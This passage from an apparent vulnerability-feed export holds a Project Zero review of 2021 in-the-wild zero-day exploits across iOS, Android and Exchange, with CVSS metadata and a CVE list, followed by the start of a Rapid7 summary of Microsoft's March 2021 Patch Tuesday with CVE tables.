requested, not yet assigned)\n\nThese 4 attack surfaces are not novel. IOMobileFrameBuffer has been a target of public security research for many years. For example, the Pangu Jailbreak from 2016 used [CVE-2016-4654](<https://www.blackhat.com/docs/us-16/materials/us-16-Wang-Pangu-9-Internals.pdf>), a heap buffer overflow in IOMobileFrameBuffer. IOMobileFrameBuffer manages the screen\u2019s frame buffer. For iPhone 11 (A13) and below, IOMobileFrameBuffer was a kernel driver. Beginning with A14, it runs on a coprocessor, the DCP. It\u2019s a popular attack surface because historically it\u2019s been accessible from sandboxed apps. In 2021 there were two in-the-wild 0-days in IOMobileFrameBuffer. [CVE-2021-30807](<https://support.apple.com/en-us/HT212623>) is an out-of-bounds read and [CVE-2021-30883](<https://support.apple.com/en-us/HT212846>) is an integer overflow, both common memory corruption vulnerabilities. In 2022, we already have another in-the-wild 0-day in IOMobileFrameBuffer, [CVE-2022-22587](<https://support.apple.com/en-us/HT213053>).\n\nOne iOS 0-day and the macOS 0-day both exploited vulnerabilities in the XNU kernel and both vulnerabilities were in code related to XNU\u2019s inter-process communication (IPC) functionality. [CVE-2021-1782](<https://support.apple.com/en-us/HT212146>) exploited a vulnerability in mach vouchers while [CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>) exploited a vulnerability in mach messages. This is not the first time we\u2019ve seen iOS in-the-wild 0-days, much less public security research, targeting mach vouchers and mach messages. [CVE-2019-6625](<https://support.apple.com/en-us/HT209443>) was exploited as a part of [an exploit chain targeting iOS 11.4.1-12.1.2](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html>) and was also a [vulnerability in mach vouchers](<https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html>). \n\nMach messages have also been a popular target for public security research. In 2020 there were two in-the-wild 0-days also in mach messages: [CVE-2020-27932](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html>) &amp; [CVE-2020-27950](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27950.html>). This year\u2019s [CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>) is a pretty close variant to 2020\u2019s [CVE-2020-27932](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html>). Tielei Wang and Xinru Chi actually [presented on this vulnerability at zer0con 2021](<https://github.com/wangtielei/Slides/blob/main/zer0con21.pdf>) in April 2021. In their presentation, they explained that they found it while doing variant analysis on [CVE-2020-27932](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html>). [TieLei Wang explained via Twitter](<https://twitter.com/WangTielei/status/1486266258152726530>) that they had found the vulnerability in December 2020 and had noticed it was fixed in beta versions of iOS 14.4 and macOS 11.2 which is why they presented it at Zer0Con. The in-the-wild exploit only targeted macOS 10, but used the same exploitation technique as the one presented.\n\nThe two FORCEDENTRY exploits ([CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>) and the [sandbox escape](<https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html>)) were the only times that made us all go \u201cwow!\u201d this year. For [CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>), the integer overflow in CoreGraphics, it was because: \n\n 1. For years we\u2019ve all heard about how attackers are using 0-click iMessage bugs and finally we have a public example, and\n 2. The exploit was an impressive work of art. \n\nThe sandbox escape (CVE requested, not yet assigned) was impressive because it\u2019s one of the few times we\u2019ve seen a sandbox escape in-the-wild that uses only logic bugs, rather than the standard memory corruption bugs. \n\nFor [CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>), the vulnerability itself wasn\u2019t especially notable: a classic integer overflow within the JBIG2 parser of the CoreGraphics PDF decoder. The exploit, though, was described by Samuel Gro\u00df &amp; Ian Beer as \u201cone of the most technically sophisticated exploits [they]\u2019ve ever seen\u201d. [Their blogpost shares all the details](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>), but the highlight is that the exploit uses the logical operators available in JBIG2 to build NAND gates which are used to build its own computer architecture. The exploit then writes the rest of its exploit using that new custom architecture. From their blogpost:\n\nUsing over 70,000 segment commands defining logical bit operations, they define a small computer architecture with features such as registers and a full 64-bit adder and comparator which they use to search memory and perform arithmetic operations. It's not as fast as Javascript, but it's fundamentally computationally equivalent.\n\nThe bootstrapping operations for the sandbox escape exploit are written to run on this logic circuit and the whole thing runs in this weird, emulated environment created out of a single decompression pass through a JBIG2 stream. It's pretty incredible, and at the same time, pretty terrifying.\n\nThis is an example of what making 0-day exploitation hard could look like: attackers having to develop a new and novel way to exploit a bug and that method requires lots of expertise and/or time to develop. This year, the two FORCEDENTRY exploits were the only 0-days out of the 58 that really impressed us. Hopefully in the future, the bar has been raised such that this will be required for any successful exploitation.\n\n## Android\n\nThere were 7 Android in-the-wild 0-days detected and disclosed this year. Prior to 2021 there had only been 1 and it was in 2019: [CVE-2019-2215](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-2215.html>). Like WebKit, this lack of data makes it hard for us to assess trends and changes. Instead, we\u2019ll compare it to public security research.\n\nFor the 7 Android 0-days they targeted the following components:\n\n * Qualcomm Adreno GPU driver ([CVE-2020-11261](<https://source.android.com/security/bulletin/2021-01-01>), [CVE-2021-1905](<https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1905.html>), [CVE-2021-1906](<https://source.android.com/security/bulletin/2021-05-01>))\n * ARM Mali GPU driver ([CVE-2021-28663](<https://source.android.com/security/bulletin/2021-05-01>), [CVE-2021-28664](<https://source.android.com/security/bulletin/2021-05-01>))\n * Upstream Linux kernel ([CVE-2021-1048](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html>), [CVE-2021-0920](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>))\n\n5 of the 7 0-days from 2021 targeted GPU drivers. This is actually not that surprising when we consider the evolution of the Android ecosystem as well as recent public security research into Android. The Android ecosystem is quite fragmented: many different kernel versions, different manufacturer customizations, etc. If an attacker wants a capability against \u201cAndroid devices\u201d, they generally need to maintain many different exploits to have a decent percentage of the Android ecosystem covered. However, if the attacker chooses to target the GPU kernel driver instead of another component, they will only need to have two exploits since most Android devices use 1 of 2 GPUs: either the Qualcomm Adreno GPU or the ARM Mali GPU. \n\nPublic security research mirrored this choice in the last couple of years as well. When developing full exploit chains (for defensive purposes) to target Android devices, [Guang Gong](<https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices-wp.pdf>), [Man Yue Mo](<https://securitylab.github.com/research/one_day_short_of_a_fullchain_android/>), and [Ben Hawkes](<https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html>) all chose to attack the GPU kernel driver for local privilege escalation. Seeing the in-the-wild 0-days also target the GPU was more of a confirmation rather than a revelation. Of the 5 0-days targeting GPU drivers, 3 were in the Qualcomm Adreno driver and 2 in the ARM Mali driver. \n\nThe two non-GPU driver 0-days ([CVE-2021-0920](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>) and [CVE-2021-1048](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html>)) targeted the upstream Linux kernel. Unfortunately, these 2 bugs shared a singular characteristic with the Android in-the-wild 0-day seen in 2019: all 3 were previously known upstream before their exploitation in Android. While the sample size is small, it\u2019s still quite striking to see that 100% of the known in-the-wild Android 0-days that target the kernel are bugs that actually were known about before their exploitation.\n\nThe vulnerability now referred to as [CVE-2021-0920](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>) was actually found in September 2016 and [discussed on the Linux kernel mailing lists](<https://lore.kernel.org/lkml/CAOssrKcfncAYsQWkfLGFgoOxAQJVT2hYVWdBA6Cw7hhO8RJ_wQ@mail.gmail.com/>). A [patch was even developed back in 2016](<https://lore.kernel.org/lkml/1475150954-10152-1-git-send-email-mszeredi@redhat.com/>), but it didn\u2019t end up being submitted. The bug was finally [fixed in the Linux kernel in July 2021](<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cbcf01128d0a92e131bd09f1688fe032480b65ca>) after the detection of the in-the-wild exploit targeting Android. The patch then made it into the [Android security bulletin in November 2021](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>).\n\n[CVE-2021-1048](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html>) remained unpatched in Android for 14 months after it was patched in the Linux kernel. The Linux kernel was actually only vulnerable to the issue for a few weeks, but due to Android patching practices, that few weeks became almost a year for some Android devices. If an Android OEM synced to the upstream kernel, then they likely were patched against the vulnerability at some point. But many devices, such as recent Samsung devices, had not and thus were left vulnerable.\n\n## Microsoft Exchange Server\n\nIn 2021, there were 5 in-the-wild 0-days targeting Microsoft Exchange Server. This is the first time any Exchange Server in-the-wild 0-days have been detected and disclosed since we began tracking in-the-wild 0-days. The first four ([CVE-2021-26855](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html>), [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>), [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>)) were all disclosed and patched at the same time and used together in a [single operation](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). The fifth ([CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>)) was patched on its own in November 2021. [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>) was demonstrated at Tianfu Cup and then discovered in-the-wild by Microsoft. While no other in-the-wild 0-days were disclosed as part of the chain with [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>), the attackers would have required at least another 0-day for successful exploitation since [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>) is a post-authentication bug.\n\nOf the four Exchange in-the-wild 0-days used in the first campaign, [CVE-2021-26855](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html>), which is also known as \u201cProxyLogon\u201d, is the only one that\u2019s pre-auth. [CVE-2021-26855](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html>) is a server side request forgery (SSRF) vulnerability that allows unauthenticated attackers to send arbitrary HTTP requests as the Exchange server. The other three vulnerabilities were post-authentication. For example, [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>) and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) allowed attackers to write arbitrary files to the system. [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>) is a remote code execution vulnerability due to a deserialization bug in the Unified Messaging service. This allowed attackers to run code as the privileged SYSTEM user.\n\nFor the second campaign, [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>), like [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), is a post-authentication RCE vulnerability due to insecure deserialization. It seems that while attempting to harden Exchange, Microsoft inadvertently introduced another deserialization vulnerability.\n\nWhile there were a significant amount of 0-days in Exchange detected and disclosed in 2021, it\u2019s important to remember that they were all used as 0-day in only two different campaigns. This is an example of why we don\u2019t suggest using the number of 0-days in a product as a metric to assess the security of a product. Requiring the use of four 0-days for attackers to have success is preferable to an attacker only needing one 0-day to successfully gain access.\n\nWhile this is the first time Exchange in-the-wild 0-days have been detected and disclosed since Project Zero began our tracking, this is not unexpected. In 2020 there was [n-day exploitation of Exchange Servers](<https://www.cisa.gov/uscert/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688>). Whether this was the first year that attackers began the 0-day exploitation or if this was the first year that defenders began detecting the 0-day exploitation, this is not an unexpected evolution and we\u2019ll likely see it continue into 2022.\n\n# Outstanding Questions\n\nWhile there has been progress on detection and disclosure, that progress has shown just how much work there still is to do. The more data we gained, the more questions that arose about biases in detection, what we\u2019re missing and why, and the need for more transparency from both vendors and researchers.\n\nUntil the day that attackers decide to happily share all their exploits with us, we can\u2019t fully know what percentage of 0-days are publicly known about. However when we pull together our expertise as security researchers and anecdotes from others in the industry, it paints a picture of some of the data we\u2019re very likely missing. From that, these are some of the key questions we\u2019re asking ourselves as we move into 2022:\n\n## Where are the [x] 0-days?\n\nDespite the number of 0-days found in 2021, there are key targets missing from the 0-days discovered. For example, we know that messaging applications like WhatsApp, Signal, Telegram, etc. are targets of interest to attackers and yet there\u2019s only 1 messaging app, in this case iMessage, 0-day found this past year. Since we began tracking in mid-2014 the total is two: a WhatsApp 0-day in 2019 and this iMessage 0-day found in 2021.\n\nAlong with messaging apps, there are other platforms/targets we\u2019d expect to see 0-days targeting, yet there are no or very few public examples. For example, since mid-2014 there\u2019s only one in-the-wild 0-day each for macOS and Linux. There are no known in-the-wild 0-days targeting cloud, CPU vulnerabilities, or other phone components such as the WiFi chip or the baseband.\n\nThis leads to the question of whether these 0-days are absent due to lack of detection, lack of disclosure, or both?\n\n## Do some vendors have no known in-the-wild 0-days because they\u2019ve never been found or because they don\u2019t publicly disclose?\n\nUnless a vendor has told us that they will publicly disclose exploitation status for all vulnerabilities in their platforms, we, the public, don\u2019t know if the absence of an annotation means that there is no known exploitation of a vulnerability or if there is, but the vendor is just not sharing that information publicly. Thankfully this question is something that has a pretty clear solution: all device and software vendors agreeing to publicly disclose when there is evidence to suggest that a vulnerability in their product is being exploited in-the-wild.\n\n## Are we seeing the same bug patterns because that\u2019s what we know how to detect?\n\nAs we described earlier in this report, all the 0-days we saw in 2021 had similarities to previously seen vulnerabilities. This leads us to wonder whether or not that\u2019s actually representative of what attackers are using. Are attackers actually having success exclusively using vulnerabilities in bug classes and components that are previously public? Or are we detecting all these 0-days with known bug patterns because that\u2019s what we know how to detect? Public security research would suggest that yes, attackers are still able to have success with using vulnerabilities in known components and bug classes the majority of the time. But we\u2019d still expect to see a few novel and unexpected vulnerabilities in the grouping. We posed this question back in the 2019 year-in-review and it still lingers. \n\n## Where are the spl0itz?\n\nTo successfully exploit a vulnerability there are two key pieces that make up that exploit: the vulnerability being exploited, and the exploitation method (how that vulnerability is turned into something useful). \n\nUnfortunately, this report could only really analyze one of these components: the vulnerability. Out of the 58 0-days, only 5 have an exploit sample publicly available. Discovered in-the-wild 0-days are the failure case for attackers and a key opportunity for defenders to learn what attackers are doing and make it harder, more time-intensive, more costly, to do it again. Yet without the exploit sample or a detailed technical write-up based upon the sample, we can only focus on fixing the vulnerability rather than also mitigating the exploitation method. This means that attackers are able to continue to use their existing exploit methods rather than having to go back to the design and development phase to build a new exploitation method. While acknowledging that sharing exploit samples can be challenging (we have that challenge too!), we hope in 2022 there will be more sharing of exploit samples or detailed technical write-ups so that we can come together to use every possible piece of information to make it harder for the attackers to exploit more users.\n\nAs an aside, if you have an exploit sample that you\u2019re willing to share with us, please reach out. Whether it\u2019s sharing with us and having us write a detailed technical description and analysis or having us share it publicly, we\u2019d be happy to work with you.\n\n# Conclusion\n\nLooking back on 2021, what comes to mind is \u201cbaby steps\u201d. We can see clear industry improvement in the detection and disclosure of 0-day exploits. But the better detection and disclosure has highlighted other opportunities for progress. As an industry we\u2019re not making 0-day hard. Attackers are having success using vulnerabilities similar to what we\u2019ve seen previously and in components that have previously been discussed as attack surfaces.The goal is to force attackers to start from scratch each time we detect one of their exploits: they\u2019re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. And while we made distinct progress in detection and disclosure it has shown us areas where that can continue to improve.\n\nWhile this all may seem daunting, the promising part is that we\u2019ve done it before: we have made clear progress on previously daunting goals. In 2019, we discussed the large detection deficit for 0-day exploits and 2 years later more than double were detected and disclosed. So while there is still plenty more work to do, it\u2019s a tractable problem. There are concrete steps that the tech and security industries can take to make it even more progress: \n\n\n 1. Make it an industry standard behavior for all vendors to publicly disclose when there is evidence to suggest that a vulnerability in their product is being exploited,\n 2. Vendors and security researchers sharing exploit samples or detailed descriptions of the exploit techniques.\n 3. Continued concerted efforts on reducing memory corruption vulnerabilities or rendering them unexploitable.\n\nThrough 2021 we continually saw the real world impacts of the use of 0-day exploits against users and entities. Amnesty International, the Citizen Lab, and others highlighted [over](<https://citizenlab.ca/2021/10/breaking-news-new-york-times-journalist-ben-hubbard-pegasus/>) and [over](<https://www.amnesty.org/en/documents/doc10/4491/2021/en/>) how governments were using commercial surveillance products against [journalists](<https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/>), [human rights defenders](<https://www.amnesty.org/en/latest/research/2021/11/devices-of-palestinian-human-rights-defenders-hacked-with-nso-groups-pegasus-spyware-2/>), and [government officials](<https://www.reuters.com/technology/exclusive-us-state-department-phones-hacked-with-israeli-company-spyware-sources-2021-12-03/>). We saw many enterprises scrambling to remediate and protect themselves from the [Exchange Server 0-days](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). And we even learned of peer [security researchers being targeted by ](<https://blog.google/threat-analysis-group/update-campaign-targeting-security-researchers/>)[North Korean government hackers](<https://blog.google/threat-analysis-group/update-campaign-targeting-security-researchers/>). While the majority of people on the planet do not need to worry about their own personal risk of being targeted with 0-days, 0-day exploitation still affects us all. These 0-days tend to have an outsized impact on society so we need to continue doing whatever we can to make it harder for attackers to be successful in these attacks.\n\n2021 showed us we\u2019re on the right track and making progress, but there\u2019s plenty more to be done to make 0-day hard.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-19T00:00:00", "type": "googleprojectzero", "title": "\nThe More You Know, The More You Know You Don\u2019t Know\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4654", "CVE-2019-13720", "CVE-2019-2215", "CVE-2019-6625", "CVE-2020-0688", "CVE-2020-11261", "CVE-2020-16009", "CVE-2020-27932", "CVE-2020-27950", "CVE-2021-0920", "CVE-2021-1048", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1844", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-28310", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30737", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-30883", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-36948", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-41773", "CVE-2021-42321", "CVE-2022-21882", "CVE-2022-22587"], "modified": "2022-04-19T00:00:00", "id": "GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156", "href": "https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2021-03-13T12:49:58", "description": "\n\nAnother Patch Tuesday ([2021-Mar](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Mar>)) is upon us and with this month comes a whopping 122 CVEs. As usual Windows tops the list of the most patched product. However, this month it\u2019s browser vulnerabilities taking the second place, outnumbering Office vulnerabilities 3:1! Lastly, the Exchange Server vulnerabilities this month are not to be ignored as more than half of them have been seen exploited in the wild.\n\n### Vulnerability Breakdown by Software Family\n\nFamily | Vulnerability Count \n---|--- \nWindows | 59 \nBrowser | 35 \nESU | 24 \nMicrosoft Office | 11 \nExchange Server | 7 \nDeveloper Tools | 6 \nAzure | 3 \nSQL Server | 1 \n \n## [Exchange Server Vulnerabilities](<https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-march-2-2021-kb5000871-9800a6bb-0a21-4ee7-b9da-fa85b3e1d23b>)\n\nEarlier this month Microsoft [released out of band updates for Exchange Server](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server>). These critical updates fixed a number of publicly exploited vulnerabilities, but not before attackers were able to compromise over 30,000 internet facing instances. \n\nYesterday, Microsoft issued an [additional set of patches](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>) for older, unsupported versions of Exchange Server. This allows customers who have not been able to update to the most recent version of Exchange the ability to defend against these widespread exploit attempts.\n\nIf you administer an Exchange Server,** stop reading this blog and go patch these systems!** For more information [please see our blog post on the topic](<https://blog.rapid7.com/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>).\n\n## Patch those Windows systems!\n\nAlmost half of the newly announced vulnerabilities this month affect components of Windows itself. Some major highlights include:\n\n * Multiple high severity RCE vulnerabilities in Windows DNS Server \n([CVE-2021-26877](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26877>), [CVE-2021-26893](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26893>), [CVE-2021-26894](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26894>), [CVE-2021-26895](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26895>), and [CVE-2021-26897](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26897>))\n * Remote Code Execution in Hyper-V ([CVE-2021-26867](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26867>)) enabling virtual machine escape (CVSSv3 9.9)\n\n## Browser Vulnerabilities\n\nSince going end-of-life in November 2020, we haven't seen any Internet Explorer patches from Microsoft. However, this month Microsoft has made two new updates available: [CVE-2021-27085](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27085>) and [CVE-2021-26411](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26411>). CVE-2021-26411 has been exploited in the wild, so don't delay applying patches if IE is still in your environment.\n\nThe majority of the browser vulnerabilities announced this month affect Microsoft Edge on Chromium. These patches are courtesy of vulnerabilities being fixed upstream in the Chromium project.\n\n## Summary Tables\n\nHere are this month's patched vulnerabilities split by the product family.\n\n## Azure Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-27075](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27075>) | Azure Virtual Machine Information Disclosure Vulnerability | No | No | 6.8 | Yes \n[CVE-2021-27080](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27080>) | Azure Sphere Unsigned Code Execution Vulnerability | No | No | 9.3 | Yes \n[CVE-2021-27074](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27074>) | Azure Sphere Unsigned Code Execution Vulnerability | No | No | 6.2 | Yes \n \n## Browser Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-27085](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27085>) | Internet Explorer Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-21190](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21190>) | Chromium CVE-2021-21190 : Uninitialized Use in PDFium | No | No | N/A | Yes \n[CVE-2021-21189](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21189>) | Chromium CVE-2021-21189: Insufficient policy enforcement in payments | No | No | N/A | Yes \n[CVE-2021-21188](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21188>) | Chromium CVE-2021-21188: Use after free in Blink | No | No | N/A | Yes \n[CVE-2021-21187](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21187>) | Chromium CVE-2021-21187: Insufficient data validation in URL formatting | No | No | N/A | Yes \n[CVE-2021-21186](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21186>) | Chromium CVE-2021-21186: Insufficient policy enforcement in QR scanning | No | No | N/A | Yes \n[CVE-2021-21185](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21185>) | Chromium CVE-2021-21185: Insufficient policy enforcement in extensions | No | No | N/A | Yes \n[CVE-2021-21184](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21184>) | Chromium CVE-2021-21184: Inappropriate implementation in performance APIs | No | No | N/A | Yes \n[CVE-2021-21183](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21183>) | Chromium CVE-2021-21183: Inappropriate implementation in performance APIs | No | No | N/A | Yes \n[CVE-2021-21182](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21182>) | Chromium CVE-2021-21182: Insufficient policy enforcement in navigations | No | No | N/A | Yes \n[CVE-2021-21181](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21181>) | Chromium CVE-2021-21181: Side-channel information leakage in autofill | No | No | N/A | Yes \n[CVE-2021-21180](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21180>) | Chromium CVE-2021-21180: Use after free in tab search | No | No | N/A | Yes \n[CVE-2021-21179](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21179>) | Chromium CVE-2021-21179: Use after free in Network Internals | No | No | N/A | Yes \n[CVE-2021-21178](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21178>) | Chromium CVE-2021-21178 : Inappropriate implementation in Compositing | No | No | N/A | Yes \n[CVE-2021-21177](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21177>) | Chromium CVE-2021-21177: Insufficient policy enforcement in Autofill | No | No | N/A | Yes \n[CVE-2021-21176](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21176>) | Chromium CVE-2021-21176: Inappropriate implementation in full screen mode | No | No | N/A | Yes \n[CVE-2021-21175](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21175>) | Chromium CVE-2021-21175: Inappropriate implementation in Site isolation | No | No | N/A | Yes \n[CVE-2021-21174](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21174>) | Chromium CVE-2021-21174: Inappropriate implementation in Referrer | No | No | N/A | Yes \n[CVE-2021-21173](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21173>) | Chromium CVE-2021-21173: Side-channel information leakage in Network Internals | No | No | N/A | Yes \n[CVE-2021-21172](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21172>) | Chromium CVE-2021-21172: Insufficient policy enforcement in File System API | No | No | N/A | Yes \n[CVE-2021-21171](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21171>) | Chromium CVE-2021-21171: Incorrect security UI in TabStrip and Navigation | No | No | N/A | Yes \n[CVE-2021-21170](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21170>) | Chromium CVE-2021-21170: Incorrect security UI in Loader | No | No | N/A | Yes \n[CVE-2021-21169](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21169>) | Chromium CVE-2021-21169: Out of bounds memory access in V8 | No | No | N/A | Yes \n[CVE-2021-21168](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21168>) | Chromium CVE-2021-21168: Insufficient policy enforcement in appcache | No | No | N/A | Yes \n[CVE-2021-21167](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21167>) | Chromium CVE-2021-21167: Use after free in bookmarks | No | No | N/A | Yes 